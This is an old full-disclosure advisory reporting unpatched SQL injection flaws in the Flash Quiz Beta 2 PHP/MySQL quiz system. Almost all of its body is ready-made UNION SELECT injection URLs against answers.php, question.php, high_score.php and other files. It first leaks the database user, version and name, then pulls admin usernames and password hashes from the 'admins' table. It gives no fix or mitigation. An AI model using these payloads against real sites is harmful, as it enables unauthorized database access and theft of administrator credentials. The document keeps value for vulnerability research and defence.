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securityvulnsSecurityvulnsSECURITYVULNS:DOC:21865
HistoryMay 21, 2009 - 12:00 a.m.

MULTIPLE SQL INJECTION VULNERABILITIES --Flash Quiz Beta 2-->

2009-05-2100:00:00
vulners.com
17

MULTIPLE SQL INJECTION VULNERABILITIES --Flash Quiz Beta 2–>

CMS INFORMATION:

–>WEB: http://sourceforge.net/projects/flashquiz/
–>DOWNLOAD: http://sourceforge.net/projects/flashquiz/
–>DEMO: N/A
–>CATEGORY: CMS / Testing
–>DESCRIPTION: A Flash quiz system with a PHP/MYSQL back end supporting multiple
quizzes per instance, result tracking, and high score tracking.
–>RELEASED: 2009-04-13

CMS VULNERABILITY:

–>TESTED ON: firefox 3
–>DORK: N/A
–>CATEGORY: SQL INJECTION
–>AFFECT VERSION: Beta 2 (maybe <= ?)
–>Discovered Bug date: 2009-05-20
–>Reported Bug date: 2009-05-20
–>Fixed bug date: Not fixed
–>Info patch: Not fixed
–>Author: YEnH4ckEr
–>mail: y3nh4ck3r[at]gmail[dot]com
–>WEB/BLOG: N/A
–>COMMENT: A mi novia Marijose…hermano,cunyada, padres (y amigos xD) por su apoyo.
–>EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

#########################
////////////////////////

SQL INJECTION (SQLi):

////////////////////////
#########################

<<<<---------++++++++++++++ Condition: magic quotes=OFF/ON ++++++++++++++++±-------->>>>


INTRO:

This system is completely vulnerable to sql injection.


PROOFS OF CONCEPT:

[++] GET var –> 'quiz'

[++] File vuln –> 'num_questions.php'



[++] GET var --&gt; &#39;quiz&#39; and &#39;order_number&#39;

[++] File vuln --&gt; &#39;answers.php&#39;


~~~~~&gt; http://[HOST]/[PATH]/answers.php?quiz=-1+UNION+ALL+SELECT+concat&#40;user&#40;&#41;,0x3A3A3A,version&#40;&#41;&#41;/*

~~~~~&gt; http://[HOST]/[PATH]/answers.php?quiz=-1&amp;order_number=-1+UNION+ALL+SELECT+concat&#40;user&#40;&#41;,0x3A3A3A,version&#40;&#41;&#41;/*


[++] GET var --&gt; &#39;quiz&#39;

[++] File vuln --&gt; &#39;high_score.php&#39;


~~~~~&gt;
http://[HOST]/[PATH]/high_score.php?quiz=-1+UNION+ALL+SELECT+version&#40;&#41;,2,concat&#40;user&#40;&#41;,0x3A3A3A,version&#40;&#41;&#41;,database&#40;&#41;,5,6,7/*


[++] GET var --&gt; &#39;quiz&#39;

[++] File vuln --&gt; &#39;high_score_web.php&#39;


~~~~~&gt;
http://[HOST]/[PATH]/high_score_web.php?quiz=-1+UNION+ALL+SELECT+version&#40;&#41;,2,concat&#40;user&#40;&#41;,0x3A3A3A,version&#40;&#41;&#41;,database&#40;&#41;,5,6,7/*


[++] GET var --&gt; &#39;quiz&#39;

[++] File vuln --&gt; &#39;results_table_web.php&#39;


~~~~~&gt;
http://[HOST]/[PATH]/results_table_web.php?quiz=-1+UNION+ALL+SELECT+version&#40;&#41;,user&#40;&#41;,concat&#40;user&#40;&#41;,0x3A3A3A,version&#40;&#41;&#41;,database&#40;&#41;,current_user&#40;&#41;,6,database&#40;&#41;/*


[++] GET var --&gt; &#39;quiz&#39; and &#39;order_number&#39;

[++] File vuln --&gt; &#39;question.php&#39;


~~~~~&gt; http://[HOST]/[PATH]/question.php?quiz=-1+UNION+ALL+SELECT+concat&#40;user&#40;&#41;,0x3A3A3A,version&#40;&#41;&#41;/*

~~~~~&gt; http://[HOST]/[PATH]/question.php?quiz=-1&amp;order_number=-1+UNION+ALL+SELECT+concat&#40;user&#40;&#41;,0x3A3A3A,version&#40;&#41;&#41;/*


[++[Return]++] ~~~~~&gt; user, version and database in DB.


----------
EXPLOITS:
----------


~~~~~&gt;
http://[HOST]/[PATH]/num_questions.php?quiz=-1+UNION+ALL+SELECT+concat&#40;username,0x3A3A3A,password_hash&#41;+FROM+admins/*

~~~~~&gt; http://[HOST]/[PATH]/answers.php?quiz=-1+UNION+ALL+SELECT+concat&#40;username,0x3A3A3A,password_hash&#41;+FROM+admins/*

~~~~~&gt;
http://[HOST]/[PATH]/answers.php?quiz=-1&amp;order_number=-1+UNION+ALL+SELECT+concat&#40;username,0x3A3A3A,password_hash&#41;+FROM+admins/*

~~~~~&gt;
http://[HOST]/[PATH]/high_score.php?quiz=-1+UNION+ALL+SELECT+1,2,concat&#40;username,0x3A3A3A,password_hash&#41;,4,5,6,7+FROM+admins/*

~~~~~&gt;
http://[HOST]/[PATH]/high_score_web.php?quiz=-1+UNION+ALL+SELECT+1,2,concat&#40;username,0x3A3A3A,password_hash&#41;,4,5,6,7+FROM+admins/*

~~~~~&gt;
http://[HOST]/[PATH]/results_table_web.php?quiz=-1+UNION+ALL+SELECT+1,2,concat&#40;username,0x3A3A3A,password_hash&#41;,4,5,6,7+FROM+admins/*

~~~~~&gt; http://[HOST]/[PATH]/question.php?quiz=-1+UNION+ALL+SELECT+concat&#40;username,0x3A3A3A,password_hash&#41;+FROM+admins/*

~~~~~&gt;
http://[HOST]/[PATH]/question.php?quiz=-1&amp;order_number=-1+UNION+ALL+SELECT+concat&#40;username,0x3A3A3A,password_hash&#41;+FROM+admins/*


[++[Return]++] ~~~~~&gt; username:::password_hash in &#39;admins&#39; table



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